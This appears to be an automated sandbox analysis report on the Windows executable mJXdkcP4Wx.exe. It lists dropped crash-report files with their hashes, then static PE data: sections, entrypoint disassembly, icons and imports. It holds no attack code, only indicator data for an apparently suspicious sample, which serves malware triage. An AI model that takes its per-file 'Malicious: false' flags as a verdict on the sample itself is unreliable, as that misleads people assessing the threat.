C:\ProgramData\Microsoft\Windows\WER\Temp\WERE6B7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8440
Entropy (8bit):	3.7031994166539075
Encrypted:	false
SSDEEP:	192:R6l7wVeJBF6+aQ6YEIOSU9FEgmfI9mpBP89bpzsfljm:R6lXJD6k6YEBSU9FEgmfGhpYfc
MD5:	EAED74AE0978E242CDC48AFA04E553D4
SHA1:	539DB4E69576C5B2D7D122CA8DB5B76067813D6F
SHA-256:	4168FA24C9CF3D0285E652136EF78B4E84525B9916F8D85A1CE0397B6F277FD1
SHA-512:	CC839466213597A5A5F3FC0B14D47EAC40532DD41FA91EB76459B62CD18725D76B8462ECAF3E77BA0458D6C7231877249E72533A840BDC7C8B832589712BD50F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE6E7.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.4856303547496745
Encrypted:	false
SSDEEP:	48:cvIwWl8zs2Jg77aI93wnWpW8VYiYm8M4JLFWHFzU+q8v4WWqhtN91tdd:uIjfMI79wW7VmJLFUUK4FqhtN91tdd
MD5:	1AF6EA4549697865D295BA6DBFEB3401
SHA1:	50E869ABBA6E8C1CC1E44617EAE096FD84A2C38E
SHA-256:	8F18E17CA1980EF43D434DA22FCB54539703CF35D0120158ACB6A019D99E7A07
SHA-512:	C75C5F5F09159EA3C4D539ECB4840947609F2DF7FAED910467B4018C92937C4ADBE890B416D7B86D79AAB85FB4ADAA690459ECAB8E38B2D37B97D1CECB2A3824
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="534710" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREABE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 16:48:06 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	110048
Entropy (8bit):	1.7428622697180756
Encrypted:	false
SSDEEP:	384:PUSS2/vlAEysHuBLxzLnplNe1OUtcCF+iTYWVfcbKH1XAAcH4gcvbv0PvX:OSNAE9uBtXplg1GCFNT5fcbKH1Lc8sn
MD5:	B013410E67D18A33E553C120B808CA38
SHA1:	B5B486BC181F2723D3718BC130785068A1F79A19
SHA-256:	DC400E3A1ED7A4C1AEABF3EF64B0B050B5AD036698061244A17849C83F571212
SHA-512:	84DFA3A07AC67C2E2E92C3B532AA93BB85C5AE1089673771F824F02E5706DCCE7FAF5C2BEAE6E2308BA73D3406D46C57FEC078FEAE4DF6F4BC556CF3268DA1B2
Malicious:	false
Preview:	MDMP..a..... .......Fb.g....................................T....>..........T.......8...........T............*..(...........P...........<...............................................................................eJ..............GenuineIntel............T...........;b.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB99.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	3.7028306107079656
Encrypted:	false
SSDEEP:	192:R6l7wVeJBd6+6YEIDSU9DagmfI9mpBw89bSzsfLGm:R6lXJL6+6YEcSU9DagmfGMSYfT
MD5:	97CF830E8046EC2B2DE093B9E267B604
SHA1:	D1400765E3AE9E48C52CAA0C8D5DD1EB548DB164
SHA-256:	7F75588B32B3039DE16332B0513E455C74722309B3CC8D747B28798DB9C6B7F8
SHA-512:	77FCFD0B44B7087378F0DEA34E22397F16D1052AD3267D4970554572482CC647CD1BB164BC6332FFB0576FD123F4D98561B844D77A228177C404A14B1AC091C4
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREBBA.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.484615732408488
Encrypted:	false
SSDEEP:	48:cvIwWl8zs2Jg77aI93wnWpW8VYmYm8M4JLFWHFtP+q8v4WWqhtN91tdd:uIjfMI79wW7VGJLFoK4FqhtN91tdd
MD5:	0E00D7A09A0287589B0A2AF46E10B080
SHA1:	E67A4602E79AAE7E498FC7679F1F3F5350D8BCE7
SHA-256:	2A774946712232AFB2744003FEBFBCC63CC726A80E5AFCC7B332E65E1A10C092
SHA-512:	29C3F462EDE4C0CFFE9EA2DAB79912D3597EC4B7D722EA9EAC3891ECC11929DA37D55D4A5C7F41B263B1299D62EA76CDC0C59C332329A8FCB74ED6C832799E45
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="534710" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF79F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 16:48:09 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	60356
Entropy (8bit):	1.8058557749444835
Encrypted:	false
SSDEEP:	192:m2mrnFMNXrWOAOJw8k2MQUqTDcAEPV9hRM760Yxcb5vGeDTPO+3jk9tam/VzzQac:mN7FMRhAEFkWUqTDcAAvMLLb5K+gt3Ar
MD5:	1623D3B664236C9B74A01487AE068097
SHA1:	90DE21954C0F765B6BFDFB59DA297B4DB9AFACFA
SHA-256:	24C74C67D2D42A2477ED2CDF5C78BEABE71BCD164CA7672837D94F1309C8CA92
SHA-512:	7668FA3D0647FA90FF4961B2C7C4C9B829F2AFDC286C40EFC973F993CF6E4263F171F757E81407F1B102A1E6071C10A7248D28B16724DBE88581D145578BA5D3
Malicious:	false
Preview:	MDMP..a..... .......Ib.g............4...............<...........0*..........T.......8...........T............2.............X...........D...............................................................................eJ..............GenuineIntel............T...........;b.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF81D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8336
Entropy (8bit):	3.700590469472151
Encrypted:	false
SSDEEP:	192:R6l7wVeJB06s6YEILSU9v+GgmfHhcYOGpDv89bFzsfasXm:R6lXJi6s6YE0SU9vPgmf2BFYfC
MD5:	992DB74280BCEA71F8A0242BB0DBDCEF
SHA1:	7F24D07DBEC04143FE162401CB588916394441D9
SHA-256:	DAB0F168A059CDE7CE202ECCCEDAF3758B5E1578B2A7E17C74F11949DF949815
SHA-512:	E0B82E1D7A4514BB7EB3226441DBF9E0CE98B497773868F897F0D31397805FCC1F0315EB3BC6FA66457D9D65A1E0E098A62605B4F14EDFF0336CB5230637E1EE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF82D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.469150334006464
Encrypted:	false
SSDEEP:	96:uIjfMI79wW7VUJLFpGu3b5gaqhtN91tdd:uI4Y9wW7CVqvHT
MD5:	611ED0D9D7E984C245F838709D851867
SHA1:	3D937AD72D954E94A9D0CB88696C89BB862665DE
SHA-256:	3757C7A84C7A29815A65FEBBEA00D81EF573E4C8F45B4144A28A4313F7EFB85A
SHA-512:	2AA2E11A20CEAF8846DA27D84DDA1EEA236E1374E60481EADE1CE2B129B7561495C87E04A9654FE1AFEBAE355528533F94BDABF697EF0328572260CE2EAB33EE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="534710" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421573994299397
Encrypted:	false
SSDEEP:	6144:lSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNv0uhiTw:svloTMW+EZMM6DFyd03w
MD5:	864EE3A0AD4BD67DAB5A5FFAA6DD9FAF
SHA1:	F1E86E60E009E8A9DD83CFC00E52197890555541
SHA-256:	46E97C1D259651FE6F8D0DE6E7A4C47352FA46EB4F03E929B13B2F9E90BA29E2
SHA-512:	01219878A57EF885D69580BF7F0AA1B8B5C56B0E0F58A53D6A3B585B4EB60A607DDC8F68E82746252320FFC80ED353683A35E969E4CA00256C2B02ABA7FEAB06
Malicious:	false
Preview:	regfD...D....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmv.B................................................................................................................................................................................................................................................................................................................................................qcU.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.919289593273248
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mJXdkcP4Wx.exe
File size:	342'528 bytes
MD5:	be89dddee1630cde41b95d2df6070bd3
SHA1:	bceb2f765aad912ea1e1e3d324f215baece7fcb5
SHA256:	e3cd6c9514e46e4bd1e42240e6ec7a82322fe4792a270312ff1ae096b3c4e16f
SHA512:	d4bf75d3c7b175634719a6b1ad2bfa04615161e147fa6bccfb599f9c3f2068ff649895507d66ad763f3a62aab61a420276d089b5aa59cb6d8f1ebb52f2113317
SSDEEP:	6144:ZYLlLOl9gwCowOlf0VuW+GZCBK4LLvcogole:KBLOlCwBwOlKCvco2
TLSH:	0174381361F57C12F2B2073A4F2D9AEC3B2EF9665E24D3090118AECE5971AB1C51F71A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@.....................................h......................................Rich............PE..L......e...................

File Icon


Icon Hash:	73a733b183838be4

Static PE Info

General

Entrypoint:	0x401667
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65A09FAD [Fri Jan 12 02:10:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	73f75479e2c39cbb9472d61ec92fd436

Entrypoint Preview

Instruction
call 00007F33111AA0E4h
jmp 00007F33111A74EEh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [004353C8h], eax
mov dword ptr [004353C4h], ecx
mov dword ptr [004353C0h], edx
mov dword ptr [004353BCh], ebx
mov dword ptr [004353B8h], esi
mov dword ptr [004353B4h], edi
mov word ptr [004353E0h], ss
mov word ptr [004353D4h], cs
mov word ptr [004353B0h], ds
mov word ptr [004353ACh], es
mov word ptr [004353A8h], fs
mov word ptr [004353A4h], gs
pushfd
pop dword ptr [004353D8h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004353CCh], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [004353D0h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [004353DCh], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [00435318h], 00010001h
mov eax, dword ptr [004353D0h]
mov dword ptr [004352CCh], eax
mov dword ptr [004352C0h], C0000409h
mov dword ptr [004352C4h], 00000001h
mov eax, dword ptr [00434008h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0043400Ch]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000CCh]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x336e4	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x112000	0x1e840	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x33410	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x32000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3099f	0x30a00	d641737f49dccffcfd23372260332ebf	False	0.9262481924807198	data	7.877215506573334	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x32000	0x1fc0	0x2000	fc405b89763810a8b173ae15f3f548f1	False	0.369384765625	data	5.601515124366471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x34000	0xda67c	0x1400	3a1191708adf0fe4d491938b7f38f3ab	False	0.1681640625	data	1.8222227042599355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.notiza	0x10f000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x110000	0x51d	0x600	53e979547d8c2ea86560ac45de08ae25	False	0.013020833333333334	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vumob	0x111000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x112000	0x14e840	0x1ea00	626a7e210c9d61e92ba0aef95432462d	False	0.35115593112244897	data	4.665453737852969	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x12ba58	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4276315789473684
RT_ICON	0x112a30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.5711620469083155
RT_ICON	0x1138d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.641245487364621
RT_ICON	0x114180	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.6941244239631337
RT_ICON	0x114848	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.7514450867052023
RT_ICON	0x114db0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Turkish	Turkey	0.5196058091286307
RT_ICON	0x117358	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Turkish	Turkey	0.62406191369606
RT_ICON	0x118400	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Turkish	Turkey	0.6311475409836066
RT_ICON	0x118d88	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Turkish	Turkey	0.7659574468085106
RT_ICON	0x119268	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.337953091684435
RT_ICON	0x11a110	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5284296028880866
RT_ICON	0x11a9b8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6019585253456221
RT_ICON	0x11b080	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6488439306358381
RT_ICON	0x11b5e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.4276970954356846
RT_ICON	0x11db90	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.509016393442623
RT_ICON	0x11e518	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.5097517730496454
RT_ICON	0x11e9e8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.3315565031982942
RT_ICON	0x11f890	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.39981949458483756
RT_ICON	0x120138	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.402073732718894
RT_ICON	0x120800	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.398121387283237
RT_ICON	0x120d68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Turkish	Turkey	0.13713692946058093
RT_ICON	0x123310	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Turkish	Turkey	0.15924015009380862
RT_ICON	0x1243b8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Turkish	Turkey	0.1942622950819672
RT_ICON	0x124d40	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Turkish	Turkey	0.225177304964539
RT_ICON	0x125220	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.3315565031982942
RT_ICON	0x1260c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.39981949458483756
RT_ICON	0x126970	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.402073732718894
RT_ICON	0x127038	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.398121387283237
RT_ICON	0x1275a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Turkish	Turkey	0.13713692946058093
RT_ICON	0x129b48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Turkish	Turkey	0.15924015009380862
RT_ICON	0x12abf0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Turkish	Turkey	0.1942622950819672
RT_ICON	0x12b578	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Turkish	Turkey	0.225177304964539
RT_STRING	0x12bd60	0x476	data			0.44921190893169877
RT_STRING	0x12c1d8	0x504	data			0.45794392523364486
RT_STRING	0x12c6e0	0x6b4	data			0.4324009324009324
RT_STRING	0x12cd98	0x760	data			0.4253177966101695
RT_STRING	0x12d4f8	0x706	data			0.42880978865406005
RT_STRING	0x12dc00	0x8b8	data			0.4211469534050179
RT_STRING	0x12e4b8	0x6d2	data			0.4306987399770905
RT_STRING	0x12eb90	0x4a4	data			0.46380471380471383
RT_STRING	0x12f038	0x62e	data			0.4361567635903919
RT_STRING	0x12f668	0x520	data			0.45198170731707316
RT_STRING	0x12fb88	0x722	data			0.4244249726177437
RT_STRING	0x1302b0	0x560	data			0.438953488372093
RT_STRING	0x130810	0x2e	data			0.6304347826086957
RT_GROUP_CURSOR	0x12bb88	0x14	data			1.15
RT_GROUP_ICON	0x11e980	0x68	data	Turkish	Turkey	0.7019230769230769
RT_GROUP_ICON	0x1251a8	0x76	data	Turkish	Turkey	0.6694915254237288
RT_GROUP_ICON	0x12b9e0	0x76	data	Turkish	Turkey	0.6694915254237288
RT_GROUP_ICON	0x1191f0	0x76	data	Turkish	Turkey	0.6610169491525424
RT_VERSION	0x12bba0	0x1bc	data			0.581081081081081

Imports

DLL

Import

KERNEL32.dll

